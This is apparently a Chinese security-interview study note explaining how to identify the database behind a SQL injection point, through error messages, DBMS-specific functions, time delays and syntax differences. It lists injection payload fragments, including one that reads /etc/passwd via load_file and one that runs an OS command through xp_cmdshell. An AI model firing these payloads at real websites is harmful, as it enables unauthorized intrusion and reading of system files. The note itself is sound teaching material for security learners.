Files
Sec-Interview/_book/Chapter4/4-19.md
T
2025-11-08 21:00:06 +08:00

55 lines
2.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### 找到一个注入点怎么判断对方什么数据库
**1. 报错信息判断**
最直接的方法就是观察数据库的报错信息。如果网站没有对错误信息进行处理,数据库的报错会直接显示在页面上,通常包含了数据库的名称或版本信息
- **MySQL**`You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use`
- **SQL Server**`Microsoft OLE DB Provider for SQL Server``Incorrect syntax near '...`
- **Oracle**`ORA-01756: quoted string not properly terminated`
- **PostgreSQL**`PostgreSQL query failed: ERROR: parser: parse error`
- **SQLite**`sqlite_query()``SQL syntax error`
**2. 特有函数和语法判断**
即使没有报错信息,你也可以通过注入特定数据库的函数或语法,观察页面的响应来判断。这种方法常用于**盲注**场景
**MySQL**
- **`version()`**`and 1=1 and version()`。如果页面返回了版本号(如 `5.5.53`),那就是 MySQL
- **`sleep()`**`and sleep(5)`。如果页面延迟了 5 秒,那很有可能是 MySQL
- **`user()`**`and user()`
- **`database()`**`and database()`
- **`load_file()`**`and load_file('/etc/passwd')`
**SQL Server**
- **`@@version`**`and 1=1 and @@version`。如果页面返回版本信息,则是 SQL Server
- **`xp_cmdshell`**`and 1=1;exec xp_cmdshell('ping 127.0.0.1')--`。如果请求延迟,可能存在命令执行漏洞
- **`db_name()`**`and db_name()`
- **`system_user`**`and system_user`
**Oracle**
- **`user`**`and user`
- **`sys.dba_tables`**`and 1=1 and (select count(*) from sys.dba_tables)`。如果返回正常的页面,说明存在这张表
- **`dbms_pipe.receive_message()`**`and 1=1 and dbms_pipe.receive_message('a',5)`。可以用来进行带外信道(OOB)注入
**PostgreSQL**
- **`pg_sleep()`**`and pg_sleep(5)`。如果页面延迟,很可能是 PostgreSQL
- **`version()`**`and version()`
- **`pg_database`**`and 1=1 and (select count(*) from pg_database)`
**3. 不同数据库的查询差异**
每种数据库的查询语法都有一些细微的差别,可以利用这些差异来判断
- **字符串拼接**
- **MySQL**`union select 'a','b'`
- **SQL Server**`union select 'a'+'b'`
- **Oracle**`union select 'a'||'b'`
- **注释符号**
- **MySQL/PostgreSQL**`-- `(后面需要加空格)、`#`
- **SQL Server/Oracle**`--`
- **内联注释**`/**/` 可以在多种数据库中使用